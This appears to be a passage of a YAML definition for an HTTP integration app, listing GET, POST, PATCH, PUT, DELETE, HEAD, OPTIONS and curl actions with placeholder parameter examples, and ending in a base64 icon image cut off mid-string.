specified endpoint - parameters: - - name: url - description: The URL to get - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Check certificate - multiline: false - options: - - false - - true - required: false - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - - name: to_file - description: Makes the response into a file, and returns it as an ID - multiline: false - required: false - options: - - false - - true - example: "true" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: POST - description: Runs a POST request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PATCH - description: Runs a PATCHrequest towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PUT - description: Runs a PUT request towards the specified endpoint - parameters: - - name: url - description: The URL to PUT to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: DELETE - description: Runs a DELETE request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - true - - false - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: HEAD - description: Runs a HEAD request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: OPTIONS - description: Runs a OPTIONS request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - - name: http_proxy - description: Add a HTTP proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: https_proxy - description: Add a HTTPS proxy - multiline: false - required: false - example: "http://192.168.0.1:8080" - schema: - type: bool - - name: timeout - description: Add a timeout for the request, in seconds - multiline: false - required: false - example: "10" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: curl - description: Run a curl command - parameters: - - name: statement - description: The curl command to run - multiline: true - example: "curl https://example.com" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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